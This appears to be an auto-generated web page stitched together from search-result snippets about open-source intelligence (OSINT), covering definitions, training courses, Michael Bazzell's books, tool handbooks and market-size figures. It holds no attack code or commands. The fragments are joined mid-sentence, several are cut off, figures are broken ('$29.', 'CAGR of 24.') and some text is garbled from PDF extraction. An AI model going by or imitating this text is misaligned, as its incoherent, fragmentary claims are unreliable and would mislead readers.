OSINT researchers to study, train and survey the Specialized open-source intelligence tools can help manage and automate data tasks for a variety of OSINT use cases.  The Open Source Intelligence Techniques (OSINT) training is a 3-day class which presents all of the latest advanced methods of locating online information.  OSINT (Open Source Intelligence) is the application of intelligence-led processes to transform OSD (Open Source Data) into actionable insights.  And there are other tools and tricks of the trade at your disposal.  This paper provides an overview of the fundamental methods used to conduct Open Source Intelligence 8 Ludo Block Investigation and validation Research in open sources for journalistic purposes generally has two aims.  This guide discusses what OSINT is and explains how penetration testers can apply OSINT tools and frameworks to improve an data (or &ldquo;open source&rdquo; data) is there for anyone to use, but it can be diicult to identify the relevant information at the right time.  Jun 25, 2021 · Many different OSINT (Open-Source Intelligence) tools are available for security research.  These tools will help you find sensitive public info Sep 9, 2024 · Open source intelligence (OSINT) is the process of identifying, harvesting, processing, analyzing, and reporting data obtained from publicly available sources for intelligence purposes.  Open Source Intelligence Professional Certification.  OSINT Training We now offer the official IntelTechniques Open Source Intelligence Professional certification program to all participants of the online video training.  Open Source Intelligence Methodologies; OSINT Data Collection, Analysis, and Reporting; Harvesting Data from the Dark Web WEBOpen Source Intelligence Techniques Resources For Searching And Analyzing Online Information 2nd Second Edition By Bazzell Michael 2013 Publications Combined: Studies In Open Source Intelligence (OSINT) Michael Bazzell investigated computer crimes on behalf of the government for over 20 years.  analytic techniques using open source data.  The term is often associated with intelligence agencies and law enforcement, but it is also used in a variety of other sectors, including business Open Source Intelligence means gathering publicly available data from the internet, social media and traditional sources such as TV, newspapers and journals, in order to assess a case or a situation.  For many years, and within previous editions of this book, we have relied on external resources to supply our search tools, virtual environments, and investigation techniques.  In the dynamic realm of information acquisition, Open Source Intelligence (OSINT) techniques stand as a cornerstone for deciphering the ever-expanding universe of publicly accessible online data.  Nov 2, 2020 · The U.  This article presents an in-depth exploration of Open Source Intelligence (OSINT) tools, OSINT Framework, and OSINT techniques, offering a comprehensive guide for practitioners seeking to harness publicly available information from the internet.  Once again, the Handbook has been revised and updated to reflect the evolution of this discipline, and the many strategic, operational and technical challenges OSINT practitioners have to grapple with.  We Are Bellingcat: An Intelligence Agency for the People by Elliot Higgins Apr 24, 2024 · In this article, let&rsquo;s understand the functioning of OSINT, Open Source Intelligence tools, techniques, and its strategies for safeguarding cybersecurity.  For many years, and within the previous six editions of this book, we have relied on external resources to supply our search tools, virtual environments, and investigation techniques.  I am delighted to share the latest version of our OSINT Tools and Resources Handbook.  6. Aug 15, 2023 · OSINT (open-source intelligence) is the practice of collecting information from published or otherwise publicly available sources.  Jan 26, 2018 · Completely Rewritten Sixth Edition Sheds New Light on Open Source Intelligence Collection and AnalysisAuthor Michael Bazzell has been well known in government circles for his ability to locate personal information about any target through Open Source Intelligence (OSINT). 02 billion in 2018, is expected to grow to $29.  The acquired information can range from text to images, videos and profiles, which once gathered needs to be processed, assessed and stored Open Source Intelligence (OSINT) is the application of intelligence gathering techniques and technology to investigations that make use of open source data (OSD).  Aug 21, 2024 · Completely Rewritten Sixth Edition Sheds New Light on Open Source Intelligence Collection and AnalysisAuthor Michael Bazzell has been well known in government circles for his ability to locate personal information about any target through Open Source Intelligence (OSINT).  This version is almost three times the size of the last public release in 2016.  Jun 24, 2024 · This is why using open source intelligence for security purposes is so important &mdash; It gives you an opportunity to find and fix weaknesses in your organization&rsquo;s network and remove sensitive information before a threat actor uses the same tools and techniques to exploit them.  It includes new online and offline search tools; a new Linux OSINT virtual machine; and tutorials to replicate Linux OSINT tools within Mac and Windows operating systems.  pen-source intelligence: acoprehensive review othecurrent&hellip; 12411 1 3 2 Stae t of art This paper has tried to incorporate the ndings from previous research related to OSINT (open-source intelligence) tools and techniques.  Download PDF Version Certification Program Overview The IntelTechniques certification program provides participants with an opportunity to work through a real-world scenario and demonstrate that they can produce an intelligence product that meets a high professional standard.  Some of the most popular and effective tools include: Maltego: This tool is used for conducting open-source intelligence and forensic analysis.  Apr 4, 2024 · OSINT can be vague.  Developed and refined by experts in the field, the framework serves as a compass that guides analysts and investigators toward optimal outcomes.  Department of Defense (DoD) defines OSINT as follows: &ldquo;Open-source intelligence (OSINT) is an intelligence that is produced from publicly available information and is collected, exploited, and disseminated in a timely manner to an appropriate audience for the purpose of addressing a specific intelligence requirement.  Aug 15, 2022 · Without OPSEC, there is a chance for OSINT tools and techniques to be used by potential attackers for illicit reasons.  This paper provides an overview of the fundamental methods used to conduct OSINT investigations and presents different use cases where OSINT techniques are applied. 19 billion by 2026, with a CAGR of 24.  Nov 19, 2020 · In intelligence agency terms, OSINT is also information drawn from non-classified sources.  What is OSINT? &ldquo;Open-source intelligence&rdquo; doesn&rsquo;t just refer to the accessibility of information.  We have s Mar 1, 2023 · Conclusion: OSINT is a valuable skill that can be used in many different fields.  Live OSINT Training.  Apr 12, 2023 · There are several techniques used in OSINT research, including: Internet research: This involves using search engines and other online tools to search for information related to a particular May 13, 2024 · This guide introduces you to Open Source Intelligence (OSINT) &mdash; the art of gathering and analysing publicly available information.  It is essential Google Dorks are useful search operators that increase search result accuracy.  Learn OSINT for free by subscribing to our newsletter.  Based on years of experience and success, we've collated the ultimate list of open source intelligence tools and techniques for intelligence and security professionals.  The tools and techniques used in Open-Source Intelligence research go much further than a simple Google search.  Email Breach Lookup People search process 36 Category Examples Identifying phrases Names, aliases, usernames, titles, etc.  While both aim at the collection and analysis of information to support decision-making, their execution, access, and implications widely differ, reflecting the unique challenges and Jan 30, 2024 · Open Source Intelligence (OSINT) The process of collecting and analyzing information from publicly available sources for intelligence purposes.  What is OSINT? In simpler terms, OSINT is the art of I am delighted to share with you the 2020 edition of the OSINT Tools and Resources Handbook.  What is open source data? Open source data is any information that is readily available to the public or can be made available by request.  Feb 23, 2023 · Open-source intelligence (OSINT) encompasses a wide range of techniques for collecting and analyzing publicly available information.  Test drive the courses by viewing the course demos: SEC487 Open-Source Intelligence (OSINT) Gathering and Analysis Dec 1, 2021 · Open Source Intelligence (OSINT) has gained importance in more fields of application than just in intelligence agencies.  Some OSINT analysis tools use artificial intelligence and machine learning to detect which information is valuable and relevant, and which is insignificant or unrelated.  Many professionals linked to Security, Intelligence, Journalism, and Technology are continuously looking for the best OSINT techniques and tools.  First is of course to investigate a subject of interest to see if there may be data available somewhere that could shed a light on the matter.  To further understand and enhance pro-gress in OSINT research, we have formulated ve Research Questions (RQs) based on a Jan 1, 2022 · New (2022) 9th Edition contains many updated techniques, scripts, and tools! It is time to look at OSINT in a different way.  Different models of the information cycle applied to OSINT are addressed.  Jun 8, 2020 · And finally, if you're ready to really become an expert on the topic, check out SEC487: Open-Source Intelligence (OSINT) Gathering and Analysis or SEC587: Advanced Open-Source Intelligence (OSINT) Gathering and Analysis.  The OSINT Framework is more than a mere collection of tools and techniques; it is a structured approach that provides a roadmap for navigating the complex terrain of open-source intelligence.  It allows you to gather and analyze information from publicly available sources.  Feb 14, 2024 · Intelligence Fusion is a leader in open source threat intelligence solutions and has trained hundreds of analysts across the globe in OSINT collection.  Public Records Jul 11, 2023 · OSINT (Open Source Intelligence) is a crucial asset in investigations, research, and decision-making processes.  Ethical OSINT: Adhering to ethical guidelines and privacy laws while collecting and analyzing open-source information.  When were OSINT techniques first used? Open source intelligence predates the internet. S.  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